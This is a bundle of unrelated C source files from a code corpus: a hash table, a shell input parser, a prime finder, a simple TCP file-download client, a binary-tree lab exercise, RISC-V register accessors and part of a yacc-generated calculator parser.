hVal=(ht->mask)&Hash(ht, key);
d=((struct Bucket **)(((char *)ht)+sizeof(HT)));
for (b=d[hVal]; b; b=b->next) {
if (strcmp(b->key, key)==0) {
if (vSize) {
*vSize=b->vSize;
}
return b->value;
}
}
return NULL;
}
/**
* Delete key and value.
*
* @param table HashTable.
* @param key Key to delete.
* @return 0 if found, !0 if not found.
*/
int
HashDelete(HashTable table, const char *key)
{
HT *ht=(HT *)table;
struct Bucket **d, **p;
struct Bucket *b;
unsigned long hVal;
hVal=(ht->mask)&Hash(ht, key);
d=((struct Bucket **)(((char *)ht)+sizeof(HT)));
p=&d[hVal];
for (b=d[hVal]; b; b=b->next) {
if (strcmp(b->key, key)==0) {
*p=b->next;
if (b->value) {
free(b->value);
}
free(b);
return 0;
}
}
return -1;
}
/**
* Find first key, value pair.
*
* @param table HashTable.
* @param key Where to store key pointer.
* @param value Where to store value pointer.
* @param vSize Where to store value len.
* @return 0 if a pair was found, !0 otherwise.
* @note Entries are returned in unsorted as-is order.
*/
int
HashFindFirst(HashTable table, const char **key, const void **value, int *vSize)
{
HT *ht=(HT *)table;
unsigned int idx;
struct Bucket **d;
ht->bucketIndex=0;
ht->currBucket=NULL;
d=((struct Bucket **)(((char *)ht)+sizeof(HT)));
for (idx=0; idx<ht->size; idx++) {
if (d[idx]) {
struct Bucket *b=d[idx];
*key=b->key;
*value=b->value;
*vSize=b->vSize;
ht->currBucket=b;
ht->bucketIndex=idx;
return 0;
}
}
return -1;
}
/**
* Find next key, value pair.
*
* @param table HashTable.
* @param key Where to store key pointer.
* @param value Where to store value pointer.
* @param vSize Where to store value len.
* @return 0 if a pair was found, !0 otherwise.
* @note Entries are returned in unsorted as-is order.
*/
int
HashFindNext(HashTable table, const char **key, const void **value, int *vSize)
{
HT *ht=(HT *)table;
struct Bucket **d;
struct Bucket *b;
unsigned int idx;
b=ht->currBucket;
if (b->next) {
b=b->next;
ht->currBucket=b;
*key=b->key;
*value=b->value;
*vSize=b->vSize;
return 0;
}
d=((struct Bucket **)(((char *)ht)+sizeof(HT)));
for (idx=ht->bucketIndex+1; idx<ht->size; idx++) {
if (d[idx]) {
b=d[idx];
*key=b->key;
*value=b->value;
*vSize=b->vSize;
ht->currBucket=b;
ht->bucketIndex=idx;
return 0;
}
}
return -1;
}
|
the_stack_data/100139591.c
|
#include <stdio.h>
#include <string.h>
// notice that the last parameter always ends as "\n"
int parsing(char cmd[], char* par[]){
int parse_succ = 0;
// cmd is the string with '\n' at the end
int input_len = strlen(cmd);
int has_and= 0;
// check if there is '&' in input
for (int i = 0; i < input_len; i++){
if (cmd[i] == '&'){
has_and = 1;
}
}
if (has_and == 1){
if (cmd[input_len-2] != '&'){
printf("Invalid input, & must be at the end of command\n");
parse_succ = -1;
return parse_succ;
}
}
// check input and output command and regulate them
int has_in = 0;
for (int i = 0; i < input_len; i++){
if (cmd[i] == '<'){
has_in = 1;
}
}
if (has_in == 1 && cmd[0] == '<'){
printf("Invalid input: '<' can't be at the beginning of a command\n");
parse_succ = -1;
return parse_succ;
}
int has_out = 0;
for (int i = 0; i < input_len; i++){
if (cmd[i] == '>'){
has_out = 1;
}
}
if (has_out == 1 && cmd[input_len-2] == '>'){
printf("Invalid input: '> can't be at the end of a command\n");
parse_succ = -1;
return parse_succ;
}
int index = 0;
char* p;
p = strtok(cmd, "\n"); // get '\n' off
p = strtok(p, " "); // get off space ang tokenize the command input
while (p != NULL){
if (index == 0){
// put the command in cmd
cmd = p;
}
else{
par[index-1] = p;
}
index++;
// put the parameters in par[]
p = strtok(NULL, " ");
}
if (index == 1){
par[index-1] = NULL;
}
else{
par[index] = NULL;
}
return parse_succ;
}
|
the_stack_data/206392066.c
|
#include<stdio.h>
int f(int n){
int i;
for(i=2;i<n;i++){
if(n%i==0)return 0;
}
return 1;
}
int main()
{
int i,n,k;
scanf("%d",&n);
for(i=n+1;;i++){
f(i);
if(f(i)==1){
k=i;
break;
}
}
printf("%d",k);
return 0;
}
|
the_stack_data/1202376.c
|
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc,char *argv[])
{
int client_fd;
if(-1==(client_fd=socket(AF_INET,SOCK_STREAM,0)))
{
perror("socket");exit(EXIT_FAILURE);
}
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(atoi(argv[1]));
server_addr.sin_addr.s_addr = inet_addr("10.34.130.31");
if(-1 == connect(client_fd,(struct sockaddr *)&server_addr,sizeof(server_addr)))
{
perror("connect");exit(EXIT_FAILURE);
}
struct info
{
char flag ; //1:file attribute; 2:file content
char buf[256]; //require file name
int local_begin; //if get attribute, no used
int length; //if get attribute, no used
};
struct info sendinfo;
sendinfo.flag = 1;
sprintf(sendinfo.buf,"%s",argv[2]);
if(-1 == send(client_fd,&sendinfo, sizeof(sendinfo),0))
{
perror("send");exit(EXIT_FAILURE);
}
char buf[1024];
memset(buf,'\0',1024);
if(-1 == recv(client_fd,buf,1024,0))
{
perror("recv");exit(EXIT_FAILURE);
}
close(client_fd);
if(-1==(client_fd=socket(AF_INET,SOCK_STREAM,0)))
{
perror("socket");exit(EXIT_FAILURE);
}
if(-1 == connect(client_fd,(struct sockaddr *)&server_addr,sizeof(server_addr)))
{
perror("connect");exit(EXIT_FAILURE);
}
sendinfo.flag = 2;
sendinfo.local_begin = 0;
sendinfo.length = atoi (buf);
if(-1 == send(client_fd,&sendinfo, sizeof(sendinfo),0))
{
perror("send");exit(EXIT_FAILURE);
}
int file_fd;
file_fd = open(argv[3],O_WRONLY|O_CREAT,0644);
lseek(file_fd,sendinfo.local_begin,SEEK_SET);
printf("length = %d\n",ntohl(sendinfo.length));
int ret = 0;
int sum = 0;
do
{
ret = recv(client_fd,buf,1024,0);
write(file_fd,buf,ret);
sum = sum + ret;
printf("sum=%d\n",sum);
getchar();
}while(sum != ntohl(sendinfo.length));
close(client_fd);
close(file_fd);
}
|
the_stack_data/200143257.c
|
// CX1007 DataStructures
// Week 12 Lab Tutorial - Binary Tree
#include <stdio.h>
#include <stdlib.h>
////////////////////////////////////////////////////////////////////
////////////
typedef struct _btnode{
int item;
struct _btnode *left;
struct _btnode *right;
} BTNode;
////////////////////////////////////////////////////////////////////
////////////
void mirrorTree(BTNode *node);
void printSmallerValues(BTNode *node, int m);
int smallestValue(BTNode *node);
int hasGreatGrandchild(BTNode *node);
void printTree_InOrder(BTNode *node);
////////////////////////////////////////////////////////////////////
int main(int argc, const char * argv[]){
int i;
BTNode *root, *root2;
BTNode btn[15];
// Create the tree in Q1
// Using manual dynamic allocation of memory for BTNodes
root = malloc(sizeof(BTNode));
root->item = 4;
root->left = malloc(sizeof(BTNode));
root->left->item = 5;
root->right = malloc(sizeof(BTNode));
root->right->item = 2;
root->left->left = NULL;
root->left->right = malloc(sizeof(BTNode));
root->left->right->item = 6;
root->left->right->left = NULL;
root->left->right->right = NULL;
root->right->left = malloc(sizeof(BTNode));
root->right->left->item = 3;
root->right->right = malloc(sizeof(BTNode));
root->right->right->item = 1;
root->right->left->left = NULL;
root->right->left->right = NULL;
root->right->right->left = NULL;
root->right->right->right = NULL;
printTree_InOrder(root);
printf("\n");
mirrorTree(root);
printTree_InOrder(root);
printf("\n\n");
//question 2
printf("Input m for question 2: ");
scanf("%d", &i);
printf("The values smaller than %d are: ", i);
printSmallerValues(root, i);
printf("\n\n");
//question 3
printf("The smallest value in the tree is %d", smallestValue(root));
printf("\n\n");
//question 4
// Create a tree for Q4: Tall enough so some nodes have great-grandchildren
// Use array of BTNodes, create tree by linking nodes together
for (i = 0; i <= 7; i++){
btn[i].item = i;
btn[i].left = &(btn[i * 2 + 1]);
btn[i].right = &(btn[i * 2 + 2]);
}
for (i = 7; i <= 14; i++){
btn[i].item = i;
btn[i].left = NULL;
btn[i].right = NULL;
}
root2 = &btn[0];
printf("The tree for question 4 visited by in-order is \n");
printTree_InOrder(root2);
printf("\nThe values stored in all nodes of the tree that have at least one great-grandchild are: \n");
hasGreatGrandchild(root2);
return 0;
}
void mirrorTree(BTNode *node){
// write your code here
if (node == NULL) return ; // node has no child
if ((node->left != NULL) && (node->right != NULL)){ // node has 2 children
mirrorTree(node->right);
BTNode *node_temp = node->left;
node->left = node->right;
node->right = node_temp;
mirrorTree(node->right);
} else if (node->left == NULL && node->right != NULL){ // node only has right child
node->left = node->right;
node->right = NULL;
mirrorTree(node->left);
} else if (node->left != NULL && node->right == NULL){ // node only has right child
node->right = node->left;
node->left = NULL;
mirrorTree(node->right);
}
}
int hasGreatGrandchild(BTNode *node){
// write your code here
// cnt is hierarchy: 0 = primary node, 1 = child, 2 = grandchild, 3 = great grandchild */
int hasGGC(BTNode *node, int cnt){
if (cnt == 3) // return 3 if there is great grandchild
return 1;
if (node->left == NULL && node->right == NULL)
return 0;
else
return hasGGC(node->left, cnt+1) + hasGGC(node->right, cnt+1);
}
if (node == NULL) return ;
hasGreatGrandchild(node->left);
if (hasGGC(node, 0) >= 1)
printf("%d ", node->item);
hasGreatGrandchild(node->right);
return 0;
}
void printSmallerValues(BTNode *node, int m){
// write your code here
// inOrder printing
if (node == NULL) return;
printSmallerValues(node->left, m);
if (node->item < m)
printf("%d ", node->item);
printSmallerValues(node->right, m);
}
int smallestValue(BTNode *node) {
int l, r;
// write your code here
// define min function
int min(int a, int b){
return (a < b ? a : b);
}
if (node == NULL) return ;
l = ((node->left != NULL) ? smallestValue(node->left) : node->item);
r = ((node->right != NULL) ? smallestValue(node->right) : node->item);
return min(node->item, min(l, r));
}
//////////////////////////////////////////////////////////////////
void printTree_InOrder(BTNode *node){
if (node == NULL) return;
printTree_InOrder(node->left);
printf("%d, ", node->item);
printTree_InOrder(node->right);
return;
}
|
the_stack_data/134108.c
|
/********************************** (C) COPYRIGHT *******************************
* File Name : core_riscv.c
* Author : WCH
* Version : V1.0.0
* Date : 2021/06/06
* Description : RISC-V Core Peripheral Access Layer Source File
*******************************************************************************/
#include <stdint.h>
/* define compiler specific symbols */
#if defined ( __CC_ARM )
#define __ASM __asm /*!< asm keyword for ARM Compiler */
#define __INLINE __inline /*!< inline keyword for ARM Compiler */
#elif defined ( __ICCARM__ )
#define __ASM __asm /*!< asm keyword for IAR Compiler */
#define __INLINE inline /*!< inline keyword for IAR Compiler. Only avaiable in High optimization mode! */
#elif defined ( __GNUC__ )
#define __ASM __asm /*!< asm keyword for GNU Compiler */
#define __INLINE inline /*!< inline keyword for GNU Compiler */
#elif defined ( __TASKING__ )
#define __ASM __asm /*!< asm keyword for TASKING Compiler */
#define __INLINE inline /*!< inline keyword for TASKING Compiler */
#endif
/*********************************************************************
* @fn __get_FFLAGS
*
* @brief Return the Floating-Point Accrued Exceptions
*
* @return fflags value
*/
uint32_t __get_FFLAGS(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "fflags" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_FFLAGS
*
* @brief Set the Floating-Point Accrued Exceptions
*
* @param value - set FFLAGS value
*
* @return none
*/
void __set_FFLAGS(uint32_t value)
{
__ASM volatile ("csrw fflags, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_FRM
*
* @brief Return the Floating-Point Dynamic Rounding Mode
*
* @return frm value
*/
uint32_t __get_FRM(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "frm" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_FRM
*
* @brief Set the Floating-Point Dynamic Rounding Mode
*
* @param value - set frm value
*
* @return none
*/
void __set_FRM(uint32_t value)
{
__ASM volatile ("csrw frm, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_FCSR
*
* @brief Return the Floating-Point Control and Status Register
*
* @return fcsr value
*/
uint32_t __get_FCSR(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "fcsr" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_FCSR
*
* @brief Set the Floating-Point Dynamic Rounding Mode
*
* @param value - set fcsr value
*
* @return none
*/
void __set_FCSR(uint32_t value)
{
__ASM volatile ("csrw fcsr, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MSTATUS
*
* @brief Return the Machine Status Register
*
* @return mstatus value
*/
uint32_t __get_MSTATUS(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mstatus" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MSTATUS
*
* @brief Set the Machine Status Register
*
* @param value - set mstatus value
*
* @return none
*/
void __set_MSTATUS(uint32_t value)
{
__ASM volatile ("csrw mstatus, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MISA
*
* @brief Return the Machine ISA Register
*
* @return misa value
*/
uint32_t __get_MISA(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "misa" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MISA
*
* @brief Set the Machine ISA Register
*
* @param value - set misa value
*
* @return none
*/
void __set_MISA(uint32_t value)
{
__ASM volatile ("csrw misa, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MIE
*
* @brief Return the Machine Interrupt Enable Register
*
* @return mie value
*/
uint32_t __get_MIE(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mie" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MISA
*
* @brief Set the Machine ISA Register
*
* @param value - set mie value
*
* @return none
*/
void __set_MIE(uint32_t value)
{
__ASM volatile ("csrw mie, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MTVEC
*
* @brief Return the Machine Trap-Vector Base-Address Register
*
* @return mtvec value
*/
uint32_t __get_MTVEC(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mtvec" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MTVEC
*
* @brief Set the Machine Trap-Vector Base-Address Register
*
* @param value - set mtvec value
*
* @return none
*/
void __set_MTVEC(uint32_t value)
{
__ASM volatile ("csrw mtvec, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MTVEC
*
* @brief Return the Machine Seratch Register
*
* @return mscratch value
*/
uint32_t __get_MSCRATCH(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mscratch" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MTVEC
*
* @brief Set the Machine Seratch Register
*
* @param value - set mscratch value
*
* @return none
*/
void __set_MSCRATCH(uint32_t value)
{
__ASM volatile ("csrw mscratch, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MEPC
*
* @brief Return the Machine Exception Program Register
*
* @return mepc value
*/
uint32_t __get_MEPC(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mepc" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MEPC
*
* @brief Set the Machine Exception Program Register
*
* @return mepc value
*/
void __set_MEPC(uint32_t value)
{
__ASM volatile ("csrw mepc, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MCAUSE
*
* @brief Return the Machine Cause Register
*
* @return mcause value
*/
uint32_t __get_MCAUSE(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mcause" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MEPC
*
* @brief Set the Machine Cause Register
*
* @return mcause value
*/
void __set_MCAUSE(uint32_t value)
{
__ASM volatile ("csrw mcause, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MTVAL
*
* @brief Return the Machine Trap Value Register
*
* @return mtval value
*/
uint32_t __get_MTVAL(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mtval" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MTVAL
*
* @brief Set the Machine Trap Value Register
*
* @return mtval value
*/
void __set_MTVAL(uint32_t value)
{
__ASM volatile ("csrw mtval, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MIP
*
* @brief Return the Machine Interrupt Pending Register
*
* @return mip value
*/
uint32_t __get_MIP(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mip" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MIP
*
* @brief Set the Machine Interrupt Pending Register
*
* @return mip value
*/
void __set_MIP(uint32_t value)
{
__ASM volatile ("csrw mip, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MCYCLE
*
* @brief Return Lower 32 bits of Cycle counter
*
* @return mcycle value
*/
uint32_t __get_MCYCLE(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mcycle" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MCYCLE
*
* @brief Set Lower 32 bits of Cycle counter
*
* @return mcycle value
*/
void __set_MCYCLE(uint32_t value)
{
__ASM volatile ("csrw mcycle, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MCYCLEH
*
* @brief Return Upper 32 bits of Cycle counter
*
* @return mcycleh value
*/
uint32_t __get_MCYCLEH(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mcycleh" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MCYCLEH
*
* @brief Set Upper 32 bits of Cycle counter
*
* @return mcycleh value
*/
void __set_MCYCLEH(uint32_t value)
{
__ASM volatile ("csrw mcycleh, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MINSTRET
*
* @brief Return Lower 32 bits of Instructions-retired counter
*
* @return mcause value
*/
uint32_t __get_MINSTRET(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "minstret" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MINSTRET
*
* @brief Set Lower 32 bits of Instructions-retired counter
*
* @return minstret value
*/
void __set_MINSTRET(uint32_t value)
{
__ASM volatile ("csrw minstret, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MINSTRETH
*
* @brief Return Upper 32 bits of Instructions-retired counter
*
* @return minstreth value
*/
uint32_t __get_MINSTRETH(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "minstreth" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __set_MINSTRETH
*
* @brief Set Upper 32 bits of Instructions-retired counter
*
* @return minstreth value
*/
void __set_MINSTRETH(uint32_t value)
{
__ASM volatile ("csrw minstreth, %0" : : "r" (value) );
}
/*********************************************************************
* @fn __get_MVENDORID
*
* @brief Return Vendor ID Register
*
* @return mvendorid value
*/
uint32_t __get_MVENDORID(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mvendorid" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __get_MARCHID
*
* @brief Return Machine Architecture ID Register
*
* @return marchid value
*/
uint32_t __get_MARCHID(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "marchid" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __get_MIMPID
*
* @brief Return Machine Implementation ID Register
*
* @return mimpid value
*/
uint32_t __get_MIMPID(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mimpid" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __get_MHARTID
*
* @brief Return Hart ID Register
*
* @return mhartid value
*/
uint32_t __get_MHARTID(void)
{
uint32_t result;
__ASM volatile ( "csrr %0," "mhartid" : "=r" (result) );
return (result);
}
/*********************************************************************
* @fn __get_SP
*
* @brief none
*
* @return Return SP Register
*/
uint32_t __get_SP(void)
{
uint32_t result;
asm volatile (
"mv %0," "sp"
: "=r"(result)
:
);
return (result);
}
|
the_stack_data/134514208.c
|
/* original parser id follows */
/* yysccsid[] = "@(#)yaccpar 1.9 (Berkeley) 02/21/93" */
/* (use YYMAJOR/YYMINOR for ifdefs dependent on parser version) */
#define YYBYACC 1
#define YYMAJOR 1
#define YYMINOR 9
#define YYCHECK "yyyymmdd"
#define YYEMPTY (-1)
#define yyclearin (yychar = YYEMPTY)
#define yyerrok (yyerrflag = 0)
#define YYRECOVERING() (yyerrflag != 0)
#define YYENOMEM (-2)
#define YYEOF 0
#undef YYBTYACC
#define YYBTYACC 0
#define YYDEBUGSTR YYPREFIX "debug"
#ifndef yyparse
#define yyparse calc_parse
#endif /* yyparse */
#ifndef yylex
#define yylex calc_lex
#endif /* yylex */
#ifndef yyerror
#define yyerror calc_error
#endif /* yyerror */
#ifndef yychar
#define yychar calc_char
#endif /* yychar */
#ifndef yyval
#define yyval calc_val
#endif /* yyval */
#ifndef yylval
#define yylval calc_lval
#endif /* yylval */
#ifndef yydebug
#define yydebug calc_debug
#endif /* yydebug */
#ifndef yynerrs
#define yynerrs calc_nerrs
#endif /* yynerrs */
#ifndef yyerrflag
#define yyerrflag calc_errflag
#endif /* yyerrflag */
#ifndef yylhs
#define yylhs calc_lhs
#endif /* yylhs */
#ifndef yylen
#define yylen calc_len
#endif /* yylen */
#ifndef yydefred
#define yydefred calc_defred
#endif /* yydefred */
#ifndef yystos
#define yystos calc_stos
#endif /* yystos */
#ifndef yydgoto
#define yydgoto calc_dgoto
#endif /* yydgoto */
#ifndef yysindex
#define yysindex calc_sindex
#endif /* yysindex */
#ifndef yyrindex
#define yyrindex calc_rindex
#endif /* yyrindex */
#ifndef yygindex
#define yygindex calc_gindex
#endif /* yygindex */
#ifndef yytable
#define yytable calc_table
#endif /* yytable */
#ifndef yycheck
#define yycheck calc_check
#endif /* yycheck */
#ifndef yyname
#define yyname calc_name
#endif /* yyname */
#ifndef yyrule
#define yyrule calc_rule
#endif /* yyrule */
#if YYBTYACC
#ifndef yycindex
#define yycindex calc_cindex
#endif /* yycindex */
#ifndef yyctable
#define yyctable calc_ctable
#endif /* yyctable */
#endif /* YYBTYACC */
#define YYPREFIX "calc_"
#define YYPURE 0
#line 4 "code_calc.y"
# include <stdio.h>
# include <ctype.h>
int regs[26];
int base;
#ifdef YYBISON
int yylex(void);
static void yyerror(const char *s);
#endif
#line 133 "code_calc.code.c"
#if ! defined(YYSTYPE) && ! defined(YYSTYPE_IS_DECLARED)
/* Default: YYSTYPE is the semantic value type. */
typedef int YYSTYPE;
# define YYSTYPE_IS_DECLARED 1
#endif
/* compatibility with bison */
#ifdef YYPARSE_PARAM
/* compatibility with FreeBSD */
# ifdef YYPARSE_PARAM_TYPE
# define YYPARSE_DECL() yyparse(YYPARSE_PARAM_TYPE YYPARSE_PARAM)
# else
# define YYPARSE_DECL() yyparse(void *YYPARSE_PARAM)
# endif
#else
# define YYPARSE_DECL() yyparse(void)
#endif
/* Parameters sent to lex. */
#ifdef YYLEX_PARAM
# define YYLEX_DECL() yylex(void *YYLEX_PARAM)
# define YYLEX yylex(YYLEX_PARAM)
#else
# define YYLEX_DECL() yylex(void)
# define YYLEX yylex()
#endif
/* Parameters sent to yyerror. */
#ifndef YYERROR_DECL
#define YYERROR_DECL() yyerror(const char *s)
#endif
#ifndef YYERROR_CALL
#define YYERROR_CALL(msg) yyerror(msg)
#endif
#define DIGIT 257
#define LETTER 258
#define UMINUS 259
#define YYERRCODE 256
#undef yytname
#define yytname yyname
#define YYTABLESIZE 220
#define YYFINAL 1
#ifndef YYDEBUG
#define YYDEBUG 0
#endif
#define YYMAXTOKEN 259
#define YYUNDFTOKEN 265
#define YYTRANSLATE(a) ((a) > YYMAXTOKEN ? YYUNDFTOKEN : (a))
extern int YYPARSE_DECL();
typedef short YYINT;
extern const YYINT yylhs[];
extern const YYINT yylen[];
extern const YYINT yydefred[];
extern const YYINT yystos[];
extern const YYINT yydgoto[];
extern const YYINT yysindex[];
extern const YYINT yyrindex[];
#if YYBTYACC
extern const YYINT yycindex[];
#endif /* YYBTYACC */
extern const YYINT yygindex[];
extern const YYINT yytable[];
extern const YYINT yycheck[];
#if YYBTYACC
extern const YYINT yyctable[];
#endif /* YYBTYACC */
#if YYDEBUG || defined(yytname)
extern const char *const yyname[];
#endif
#if YYDEBUG
extern const char *const yyrule[];
#endif
int yydebug;
int yynerrs;
int yyerrflag;
int yychar;
YYSTYPE yyval;
YYSTYPE yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE yyloc; /* position returned by actions */
YYLTYPE yylloc; /* position from the lexer */
#endif
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
#ifndef YYLLOC_DEFAULT
#define YYLLOC_DEFAULT(loc, rhs, n) \
do \
{ \
if (n == 0) \
{ \
(loc).first_line = ((rhs)[-1]).last_line; \
(loc).first_column = ((rhs)[-1]).last_column; \
(loc).last_line = ((rhs)[-1]).last_line; \
(loc).last_column = ((rhs)[-1]).last_column; \
} \
else \
{ \
(loc).first_line = ((rhs)[ 0 ]).first_line; \
(loc).first_column = ((rhs)[ 0 ]).first_column; \
(loc).last_line = ((rhs)[n-1]).last_line; \
(loc).last_column = ((rhs)[n-1]).last_column; \
} \
} while (0)
#endif /* YYLLOC_DEFAULT */
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
#if YYBTYACC
#ifndef YYLVQUEUEGROWTH
#define YYLVQUEUEGROWTH 32
#endif
#endif /* YYBTYACC */
/* define the initial stack-sizes */
#ifdef YYSTACKSIZE
#undef YYMAXDEPTH
#define YYMAXDEPTH YYSTACKSIZE
#else
#ifdef YYMAXDEPTH
#define YYSTACKSIZE YYMAXDEPTH
#else
#define YYSTACKSIZE 10000
#define YYMAXDEPTH 10000
#endif
#endif
#ifndef YYINITSTACKSIZE
#define YYINITSTACKSIZE 200
#endif
typedef struct {
unsigned stacksize;
YYINT *s_base;
YYINT *s_mark;
YYINT *s_last;
YYSTYPE *l_base;
YYSTYPE *l_mark;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE *p_base;
YYLTYPE *p_mark;
#endif
} YYSTACKDATA;
#if YYBTYACC
struct YYParseState_s
{
struct YYParseState_s *save; /* Previously saved parser state */
YYSTACKDATA yystack; /* saved parser stack */
int state; /* saved parser state */
int errflag; /* saved error recovery status */
int lexeme; /* saved index of the conflict lexeme in the lexical queue */
YYINT ctry; /* saved index in yyctable[] for this conflict */
};
typedef struct YYParseState_s YYParseState;
#endif /* YYBTYACC */
/* variables for the parser stack */
static YYSTACKDATA yystack;
#if YYBTYACC
/* Current parser state */
static YYParseState *yyps = 0;
/* yypath != NULL: do the full parse, starting at *yypath parser state. */
static YYParseState *yypath = 0;
/* Base of the lexical value queue */
static YYSTYPE *yylvals = 0;
/* Current position at lexical value queue */
static YYSTYPE *yylvp = 0;
/* End position of lexical value queue */
static YYSTYPE *yylve = 0;
/* The last allocated position at the lexical value queue */
static YYSTYPE *yylvlim = 0;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* Base of the lexical position queue */
static YYLTYPE *yylpsns = 0;
/* Current position at lexical position queue */
static YYLTYPE *yylpp = 0;
/* End position of lexical position queue */
static YYLTYPE *yylpe = 0;
/* The last allocated position at the lexical position queue */
static YYLTYPE *yylplim = 0;
#endif
/* Current position at lexical token queue */
static YYINT *yylexp = 0;
static YYINT *yylexemes = 0;
#endif /* YYBTYACC */
#line 70 "code_calc.y"
/* start of programs */
#ifdef YYBYACC
extern int YYLEX_DECL();
#endif
int
main (void)
{
while(!feof(stdin)) {
yyparse();
}
return 0;
}
static void
yyerror(const char *s)
{
fprintf(stderr, "%s\n", s);
}
int
yylex(void)
{
/* lexical analysis routine */
/* returns LETTER for a lower case letter, yylval = 0 through 25 */
/* return DIGIT for a digit, yylval = 0 through 9 */
/* all other characters are returned immediately */
int c;
while( (c=getchar()) == ' ' ) { /* skip blanks */ }
/* c is now nonblank */
if( islower( c )) {
yylval = c - 'a';
return ( LETTER );
}
if( isdigit( c )) {
yylval = c - '0';
return ( DIGIT );
}
return( c );
}
#line 381 "code_calc.code.c"
/* For use in generated program */
#define yydepth (int)(yystack.s_mark - yystack.s_base)
#if YYBTYACC
#define yytrial (yyps->save)
#endif /* YYBTYACC */
#if YYDEBUG
#include <stdio.h> /* needed for printf */
#endif
#include <stdlib.h> /* needed for malloc, etc */
#include <string.h> /* needed for memset */
/* allocate initial stack or double stack size, up to YYMAXDEPTH */
static int yygrowstack(YYSTACKDATA *data)
{
int i;
unsigned newsize;
YYINT *newss;
YYSTYPE *newvs;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE *newps;
#endif
if ((newsize = data->stacksize) == 0)
newsize = YYINITSTACKSIZE;
else if (newsize >= YYMAXDEPTH)
return YYENOMEM;
else if ((newsize *= 2) > YYMAXDEPTH)
newsize = YYMAXDEPTH;
i = (int) (data->s_mark - data->s_base);
newss = (YYINT *)realloc(data->s_base, newsize * sizeof(*newss));
if (newss == 0)
return YYENOMEM;
data->s_base = newss;
data->s_mark = newss + i;
newvs = (YYSTYPE *)realloc(data->l_base, newsize * sizeof(*newvs));
if (newvs == 0)
return YYENOMEM;
data->l_base = newvs;
data->l_mark = newvs + i;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
newps = (YYLTYPE *)realloc(data->p_base, newsize * sizeof(*newps));
if (newps == 0)
return YYENOMEM;
data->p_base = newps;
data->p_mark = newps + i;
#endif
data->stacksize = newsize;
data->s_last = data->s_base + newsize - 1;
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%sdebug: stack size increased to %d\n", YYPREFIX, newsize);
#endif
return 0;
}
#if YYPURE || defined(YY_NO_LEAKS)
static void yyfreestack(YYSTACKDATA *data)
{
free(data->s_base);
free(data->l_base);
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
free(data->p_base);
#endif
memset(data, 0, sizeof(*data));
}
#else
#define yyfreestack(data) /* nothing */
#endif /* YYPURE || defined(YY_NO_LEAKS) */
#if YYBTYACC
static YYParseState *
yyNewState(unsigned size)
{
YYParseState *p = (YYParseState *) malloc(sizeof(YYParseState));
if (p == NULL) return NULL;
